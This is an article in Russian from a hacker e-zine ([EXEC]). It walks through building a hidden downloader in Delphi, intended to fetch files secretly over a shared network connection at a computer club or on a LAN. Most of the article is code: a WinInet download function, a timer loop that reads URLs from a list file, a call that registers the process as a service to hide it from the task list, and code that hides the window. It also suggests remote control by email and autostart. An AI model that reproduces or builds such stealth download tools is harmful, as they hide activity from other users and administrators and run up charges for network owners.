# # #
######### # # ######### ######### # # #
# # # # # # # # ######## ###
# ## # # # # #
####### ## ####### # # # #
# # # # # # # # ######## #
######### # # ######### ######### # # #######
# #
---== [EXEC] electronic magazine about hack sercurity coding & ru hack scene ==---
|
# Get_Shadow или Скрытая загрузка. |
Представим такую ситуацию когда скажем у вас в локалке или комп. клубе, есть выделенка.
Так вот всё там конечно течет по траффику и никому нехочеться платить за скачанные мега,
а у кого-то и гигабайты. Поведую вам об одном замечательном программном решении этого
вопроса. Писать будем на дельфи чтобы по проще и побыстрее.
Вот код функции получения файла с сервера на хард к себе.
>----------------------резать тут-------------------------------
uses WinInet
.......
function GetInetFile(const fileURL, FileName: string): boolean;
const
BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: file;
sAppName: string;
begin
//Result := False;
sAppName := ExtractFileName(Application.ExeName);
hSession := InternetOpen(PChar(sAppName),
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0);
try
AssignFile(f, FileName);
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen);
until
BufferLen = 0;
CloseFile(f);
Result := True;
finally
InternetCloseHandle(hURL);
end;
finally
InternetCloseHandle(hSession);
end;
end;
>----------------------резать тут-------------------------------
Как видно этой функции передаётся два параметра это удалённый путь и локальный путь.
Исполльзование будет выглядеть вот так:
GetInetFile('http://execteam.org.ru/archiv.rar','C:\archive.rar');
Следушим будет процедура обработки таймера. Тут можно и покоментировать )).
>----------------------резать тут-------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);
var
f:textfile;
cur,url,lf:string;
begin
assignfile(f,'getx.lst'); //Присваиваем переменной f файл getx.lst
reset(f); // Открываем его для чтения
while not eof(f) do // Пока небудет конца файла f делаем :)
begin
readln(f,cur); // читаем строку
if cur='stop' then //если строка стоп
begin
memo1.Lines.Add('stopped');
timer1.Enabled:=false; // тогда остановливаем таймер
end;
if cur<>'stop' then // Если строка неравна stop тогда
begin
url:=copy(cur,1,pos(' ',cur)); // вырезаем из строки url
lf:=copy(cur,pos(' ',cur)+1,length(cur)); // вырезаем локальный путь
memo1.Lines.Add(url + lf);// это для отладки
getinetfile(url,lf); // и сливаем файл
end;
end;
closefile(f);
end;
>----------------------резать тут-------------------------------
Файл getx.lst выполняет роль листа ссылок для загрузки. Memo добавлен на форму для
отладки.Теперь нужно сделать всё это добро скрытным и непривлекающим внимания. Всё
тоже очень несложно.
Берем функцию из KERNEL.DLL. После implementation пишем:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';
После чего в процедуре OnFormCreate пишем следущее:
RegisterServiceProcess(GetCurrentProcessID, 1);
Таким образом мы зарегестрировали процесс как сервис и он небудет виден в меню
CTRL+ALT+DELETE.
Теперь нужно сделать невидимой саму форму для этого воспользуемся следущим кодом.
>-------------project1.dpr-------------------
program Project1;
uses
Forms,Windows,
Unit1 in 'Unit1.pas' ;
{$R *.RES}
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true,false, 'xt');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
>-------------project1.dpr-------------------
Вот и всё небольшой каркас для проги готов.
При желании можно сделать управление через мыло. немного поясню:
Просто отправляешь файл с ссылками на определённле мыло, а программа проверяет его
и сливает новые файлы.Добавить в автозагрузку я думаю несоставит труда.
Ещё нужно в процедуре OnTimer проводить проверку соединения с интеренетом.
Вот и всё теперь мы имеем очень простую программу для скрытого скачивания но в
ней полно недочётов и ошибок.
Всё это придёться исправлять вам, - ИБО НЕФИГ.
|
|
+ Содержание + |